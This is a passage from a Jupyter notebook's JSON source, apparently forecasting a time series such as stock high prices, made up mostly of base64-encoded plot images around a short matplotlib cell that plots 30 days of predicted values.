sw1mttfM9pvZP0U7nlhmZnPN7Dkz221m5Wb26dD2bDPbaGb7Qv+fGe1YY5mZecxsh5n9LvR4gZltDt1DD5lZYrRjjFVmlmVmvzazN81sj5mt0/0zeZjZZ0PvbbvM7EEzS9b9Ez1mdp+Z1ZvZrn7bBr1fLOi7oev0upmtjl7ksWGI6/PN0Pvb62b2qJll9dt3Z+j67DWzK6IT9dQSU0m/mXmA7wFXAqXAjWZWGt2oYlo38DnnXClwDvDx0PX4J+BZ59xi4NnQY4meTwN7+j3+f8B/OecWAU3AR6MSlQB8B3jKOXcGsILgddL9MwmY2RzgU0CZc24Z4AFuQPdPNN0PbDhp21D3y5UE1xpaDHwM+EGEYoxl9zPw+mwEljnnlgNvAXcChHKFG4Cloed8P5TjyTBiKukH1gL7nXMHnXOdwK+Aa6IcU8xyzh1xzr0a+ruVYMIyh+A1+XnosJ8D74tOhGJmRcC7gZ+EHhtwCfDr0CG6PlFiZpnAhcBPAZxznc654+j+mUzigRlmFg+kAEfQ/RM1zrlNBNcZ6m+o++Ua4L9d0CtAlpnNikyksWmw6+Oce9o51x16+ApQFPr7GuBXzjm/c64C2E8wx5NhxFrSPweo7ve4JrRNoszM5gOrgM1AgXPuSGjXUaAgSmEJfBv4AhAIPc4Bjvd7E9Y9FD0LgAbgZ6Hyq5+YWSq6fyYF59xh4D+AKoLJfjOwHd0/k81Q94vyhcnnI8CTob91fcYg1pJ+mYTMLA34DfAZ51xL/30u2F5KLaaiwMzeA9Q757ZHOxYZVDywGviBc24V0M5JpTy6f6InVBt+DcEvZ7OBVAaWLsgkovtl8jKzLxEsCf5ltGOZymIt6T8MzO33uCi0TaLEzBIIJvy/dM79NrS5rvdn1ND/66MVX4w7D7jazA4RLIW7hGANeVaoXAF0D0VTDVDjnNscevxrgl8CdP9MDuuBCudcg3OuC/gtwXtK98/kMtT9onxhkjCzW4H3ADe7t/vM6/qMQawl/VuBxaHuCYkEJ4E8EeWYYlaoPvynwB7n3Lf67XoCuCX09y3A45GOTcA5d6dzrsg5N5/gvfIn59zNwHPAtaHDdH2ixDl3FKg2s9NDmy4FdqP7Z7KoAs4xs5TQe13v9dH9M7kMdb88AXw41MXnHKC5XxmQRIiZbSBYYnq1c87Xb9cTwA1mlmRmCwhOuN4SjRinkphbnMvMriJYp+wB7nPO3RXlkGKWmZ0PvAi8wds1418kWNf/MFAMVALXO+dOnnwlEWRmFwGfd869x8xKCI78ZwM7gL92zvmjGV+sMrOVBCdZJwIHgdsIDubo/pkEzOxfgb8iWJawA7idYN2x7p8oMLMHgYuAXKAO+ArwGIPcL6EvavcQLMnyAbc557ZFI+5YMcT1uRNIAhpDh73inLsjdPyXCNb5dxMsD37y5NeUd4q5pF9EREREJNbEWnmPiIiIiEjMUdIvIiIiIjLNKekXEREREZnmlPSLiIiIiExzSvpFRERERKY5Jf0iIiIiItOckn4RERERkWlOSb+IiIiIyDT3v/W3DC8GWH5FAAAAAElFTkSuQmCC", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "plt.figure(figsize=(13,6))\n", + "\n", + "plt.plot(day_new, scaler.inverse_transform(df_high[1935:]))\n", + "plt.plot(day_pred, scaler.inverse_transform(lst_output))\n", + "\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "gc5zacyMQhB3" + }, + "source": [ + "**Graph of predicted values for the next 30 days**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 374 + }, + "id": "KAN5u05mQenP", + "outputId": "b89a2ebe-a736-4d29-f026-3ae3a165a421" + }, + "outputs": [ + { + "data": { + "image/png": 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